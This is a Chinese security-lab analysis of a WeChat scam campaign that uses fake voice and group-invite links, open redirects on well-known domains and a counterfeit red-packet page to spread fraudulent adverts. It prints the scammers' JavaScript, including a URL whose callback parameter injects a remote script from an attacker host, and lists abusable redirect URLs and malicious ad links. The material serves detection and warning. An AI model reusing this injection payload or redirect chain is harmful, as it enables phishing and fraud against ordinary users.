内容简介:近期,启明星辰ADLab收到客户反馈:在使用微信的过程中疑似出现“中毒”现象,用户在群聊中收到“微信语音”,点开后却提示领取“流浪地球电影票房红包”,打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真,不明真相的用户纷纷中招,造成诸多群聊中出现了“群邀请” 、“语音”和“广告”等欺骗性分享链接,并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告,诱导用户添加微信或关注公众号,之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产,稍有不慎就会落入圈套。启明星辰ADLab迅速
作者:启明星辰ADLab
公众号: ADLab
一、事件简介
近期,启明星辰ADLab收到客户反馈:在使用微信的过程中疑似出现“中毒”现象,用户在群聊中收到“微信语音”,点开后却提示领取“流浪地球电影票房红包”,打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真,不明真相的用户纷纷中招,造成诸多群聊中出现了“群邀请” 、“语音”和“广告”等欺骗性分享链接,并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告,诱导用户添加微信或关注公众号,之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产,稍有不慎就会落入圈套。
启明星辰ADLab迅速对此进行了分析,发现这是一起针对普通用户的微信灰产恶意广告诈骗事件。灰产团伙将网页URL伪装成“微信语音”,以链接的方式发送给用户和微信群,借助10086、微信和爱奇艺等网站的跳转链接将“语音”重定向至灰产URL,同时伪造了红包界面,隐藏了微信的菜单和按钮接口。页面后台多次跳转防封,并将用户的返回操作定向到新广告页面,前台则利用近期的热点电影“流浪地球”进行炒作,最终以红包提现的噱头引诱用户分享恶意广告,传播牟利,甚至以红包作为幌子发布钓鱼链接。事件整体流程如图所示:
二、技术分析
“语音”链接经过重定向和多次跳转后才加载至红包界面,我们猜测该团伙是考虑到腾讯的查封规则,为有效增加存活时间,首先通过知名域名的重定向来规避检查,其使用过的可重定向URL如下:
- http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=
- https://as.weixin.qq.com/cgi-bin/amazing?url=
- https://36kr.com/jump?url=(失效)
- https://bird.sns.iqiyi.com/jump?jump_url=
重定向、多次跳转和JS脚本执行的主要流程如下(实际跳转可能随时变化):
下面针对其中的主要过程进行分析阐释。
2.1 链接重定向
黑客疑似通过微信JS-SDK自定义文案与图标伪造“语音”链接,当用户点击“语音”链接时会被重定向,数据包请求内容如下:
GET /remind/push/remind.do?specailfunc=wapMpp&x-original-URL=http%3A%2F%2Fqnimg.9igcw.com%2Ff22b419d44ff4fc89125e8cd29c186b2%3F7nbgtxb%3D7nbgtxb%26_c%3D5052 HTTP/1.1 Host: rd.go.10086.cn Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400 Accept-Encoding:gzip, deflate Accept-Language:zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4 Connection:keep-alive
数据包回应内容如下:
HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Feb 2019 06:26:40 GMT Content-Type: text/html Content-Length: 0 Cache-Control: no-cache Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=1BB9D91C996A06399CCB819628E9A865; Path=/remind Location: http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 Proxy-Connection: keep-alive
2.2 链接跳转
重定向目标地址链接不固定,我们发现的两个链接如下:
- http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
- http://image.dushemovie.com/5782e5f29cbf43f99839368b75c5b4d2?5wwot3p=5wwot3p&_c=5052
以链接1为例,请求目标为image/svg+xml类型,请求数据内容如下:
GET /f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 HTTP/1.1 Host qnimg.9igcw.com Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400 Accept-Encoding gzip, deflate Accept-Language zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4 Connection keep-alive
数据包回应Headers内容如下:
HTTP/1.1 200 OK Server: Tengine Content-Type: image/svg+xml Content-Length: 285 Date: Thu, 28 Feb 2019 04:48:00 GMT Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-Log, X-Reqid Access-Control-Max-Age: 2592000 Cache-Control: public, max-age=31536000 Content-Disposition: inline; filename="f22b419d44ff4fc89125e8cd29c186b2"; filename*=utf-8' 'f22b419d44ff4fc89125e8cd29c186b2 Content-Transfer-Encoding: binary Etag: "FtABqMD18XgR60Q7wmUamU9uUx5l" Last-Modified: Sun, 11 Nov 2018 03:29:41 GMT X-Log: redis.g;DC;IO:1 X-M-Log: QNM:xs460;QNM3 X-M-Reqid: -XEAAFpARvTCbYcV X-Qiniu-Zone: 0 X-Qnm-Cache: Hit X-Reqid: IFUAAF3TM4jTYIcV X-Svr: IO Ali-Swift-Global-Savetime: 1551329280 Via: cache14.l2et15[26,200-0,M], cache16.l2et15[27,0], cache19.cn1088[0,200-0,H], cache19.cn1088[1,0] Age: 5918 X-Cache: HIT TCP_HIT dirn:11:386590902 X-Swift-SaveTime: Thu, 28 Feb 2019 04:48:00 GMT X-Swift-CacheTime: 2592000 Timing-Allow-Origin: * EagleId: 73e7282715513351989788044e Proxy-Connection: keep-alive
其中数据包回应内容包含新链接至 https://api.meipaifan.cn/j 。
2.3 JavaScript脚本
请求URL: https://api.meipaifan.cn/j 为JavaScript脚本,内容如下:
var ua = navigator.userAgent; if (ua.indexOf("MicroMessenger") > 0) { //判断是否为微信浏览器 var noreferrer = true; try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {}; if (top != window || !document.body){ top.location.href = 'https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052'; } else{ var a=document.createElement('a');a.href='https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';if(noreferrer) a.rel='noreferrer';a.click(); } };
JS脚本会通过navigator.userAgent.indexOf来判断浏览器类型,若不是微信浏览器返回404。
若为微信浏览器,则继续判断页面为前端或后端,再分别依据两种策略进行后台访问(访问链接可变如: https://tj.esf.fang.com )暗刷流量,在应答的数据中包含Script脚本指向另外一个新链接(JS脚本),如下图所示:
新链接(api.51bjbj.com/j?xload=1)通过脚本解码出网页内容:
解码后的网页内容如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>...</title> <!--庆祝拼多多营收1000亿美元送红包--> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover"/> <meta name="format-detection" content="telephone=no"> <meta name="applicable-device" content="mobile"> <link rel="stylesheet" href="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/css/d.css"> <script> window.focusLocation = {}; </script> </head> <body> <script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script> <script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/lib/js/jquery.min.js"></script> <script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/lib/core.js"></script> <script src="https://api.51bjbj.com./config?var=window.data&sign=0"></script> <script> // location.href = 'http://m3.tuniucdn.com/fb2/t1/G5/M00/FD/03/Cii-s1s1vLaIR3iWAAAAlO4kMEYAAG3DQP__nQAAAGM31.html?fsrc=rabbit&type=wz3'; M.loadJS('https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=' + (+new Date())); </script> </body> </html>
该网页引入了微信JS-SDK、Jquery库、core.js和api.51bjbj.com内的JS脚本,其中core.js包含自定义的各种功能回调函数如:loadJS、hideShare和setBack等。
https://api.51bjbj.com./config?var=window.data&sign=0
则包含自定义的数据结构,指向的JS脚本如下:
window.data = { "ad": { "app_url": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4", "desc": "\"\u5a07\u5a07\"\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a\uff0c90\u540e\u5355\u8eab\u59b9\u5b50\u65e5\u5165\u8fc7\u4e07\u7fa4\uff0c\u8fdb\u7fa4\u67e5\u770b\u8be6\u60c5", "timeline_url": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4", "img": "https://butuyu.oss-cn-hangzhou.aliyuncs.com/images/qun.png", "title": "\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a" }, "attached": { "case": "7675-hb", "signmode": "jsb", "back_api": "https://zjygx.com/backup/args/bg_back.php", "ad_share": { "pyq": [0, 0], "qun": [0, 0, 0, 0, 0, 0] }, "timeline_ad": true, "player": { "delaytime": 538, "vid": "c0763pr60i5" }, "needWhite": false, "group_ad": true, "iosGoAdUrl": "", "eqc": { "s": "qngroup001/u4421337/1/0/c0d23906977fa89d18691744a2a21336.js", "ib": 6, "i3": 1, "ic": 4, "d": "qngroup001/u4420461/1/0/2405846441888db771cd590562fafb16.js" } }, "cnzz": "", "hm": "0c1ecc9c91cfd52db097fbe47eb75864", "to_timeline": { "redirect": "", "ad_weight": "100", "ad_id": "9986", "ad": false, "ok_msg": "", "title": "{fuck}{fuck}", "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg", "landing": "", "link": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fyppphoto.yupaopao.cn%2Fh73qh1s6oy.svg%3FHN8EuIO0%3DHN8EuIO0%26_c%3D5052", "desc": "" }, "to_group": { "redirect": "", "link": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fservice.ccmapp.cn%2Fvideaapi%2Fzcm%2Fupload%2Focimg%2F1546916994398.svg%3F9qZlETf4%3D9qZlETf4%26_c%3D5052", "img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg", "title": "{fuck}{fuck}", "desc": "{fuck}\u2709", "back_url": "" } }
数据中“img”字段指向了恶意传播的URL伪装图片:
在使用loadJs()加载文件后, https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=1551335205185
内含的JS脚本会执行红包界面的逻辑内容,简要示例如下:
“<p style="font-size: 24px;">庆祝流浪地球电影票房破40亿</p>”
即是前端恶意推广的红包标题。
该脚本还包含了goShare函数进行分享操作如图:
其中, https://api.51bjbj.com./getshare
请求将链接至http://weixin.site.eqxiu.com/...(不固定),并加载JS脚本。如图:
https://s.51bjbj.com./jssdk/shareurl?_c=
则指向分享页面的网页来源如: obs-cn-shenzhen.yun.pingan.com
。
此外我们注意到,作者在前端隐藏了微信的官方菜单接口。如图:
若用户将“红包”分享至群聊,则会生成多种形式的伪装界面,目前已知的形式分别为“群邀请”、“语音”和“广告链接”,如图所示:
当用户点击分享后的链接时,依然会被重定向至灰产URL并弹出广告。需要注意的是网页在后台 “锁定”了返回操作,用户在尝试返回时页面会轮循刷新广告。如图所示:
链接通过重定向和跳转最终定位到广告:
部分恶意广告原始链接如下:
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/43/static/display.html?t=1551798979518
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/28/static/display.html?t=1551799084786
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/35/static/display.html?t=1551802234121
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/26/static/display.html?t=1551802236980
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/41/static/display.html?t=1551802242070
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/44/static/display.html?t=1552010485531
三、溯源关联
我们尝试添加了几位“老中医”和“投资导师”,画风是这样的:
基本可以判断“红包”推送的广告为骗取定金或彩票刷单等诈骗行为,对方往往非常耐心,环环相诱,用户稍不留意就有可能落入圈套,造成财产损失。
此外,我们通过分析 https://api.51bjbj.com./config?var=window.data&sign=0
返回的JS脚本,在其接口数据中发现了CNZZ数据统计请求的链接。如图:
https://bird.sns.iqiyi.com/jump?jump_url=pic.app.dqdaily.com/20180510_67388_1551592980824.jpg?1zhF8Obn=1zhF8Obn&_c=7675链接指向了相似模板的旧版“恶意红包”。
可见该团伙年初便开始了恶意活动,不过其旧版广告链接已被查封。在进一步抓包分析后,我们发现重定向后的链接请求为:
Location:
请求包含了微信开发者appid: wxd588ca9e0a8b634e。依此我们关联到了某视频厂商的红包链接。
灰产团伙有可能参照过该厂商的红包模式,并借助其URL实现了微信客户端重定向跳转( https://bird.sns.iqiyi.com/jump?jump_url=
)。值得注意的是,此类厂商提供的会员红包奖励往往需要授权登录账号,这给灰产团伙创造了很好的钓鱼机会,通过登录钓鱼等手段窃取用户资料和账号从而造成更大的破坏。此类团伙游走在法律的边缘,今天可以推送恶意广告,明天就能随时变身网络钓鱼。
四、总结分析
综上分析,当前微信的灰产利用正变得越发具有欺骗性和传播性。一些团伙通过技术手段制作以假乱真的“语音”、“群邀请”等链接来引诱用户点击,利用重定向和多级跳转规避检查,再结合逼真的“红包”交互攻击用户,利用用户急切获取红包的心理进行诱导关注、诈骗钱财和恶意传播。普通用户往往难以分辨真假,极易沦为灰产的传播工具,不仅自身可能遭受财产损失,还会帮助恶意流量大面积扩散。希望此类事件可以引起厂商和广大用户的高度警惕,防微杜渐,持续警惕灰产的各类恶意活动,共同维护好网络秩序。
启明星辰积极防御实验室(ADLab)
ADLab成立于1999年,是中国安全行业最早成立的攻防技术研究实验室之一,微软MAPP计划核心成员,“黑雀攻击”概念首推者。截止目前,ADLab已通过CVE累计发布安全漏洞近1000个,通过 CNVD/CNNVD累计发布安全漏洞近500个,持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 上映 10 天,票房就突破 10 亿的《海王》真的有那么好看?
- 上映4天,票房7.4亿的《海王》,用Python分析数据看大片!
- Neo4j入门之中国电影票房排行浅析
- 高并发-「抢红包案例」之一:SSM环境搭建及复现红包超发问题
- 用 Python 实现微信自动化抢红包,再也不用担心抢不到红包了
- PHP 实现微信红包拆分算法
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。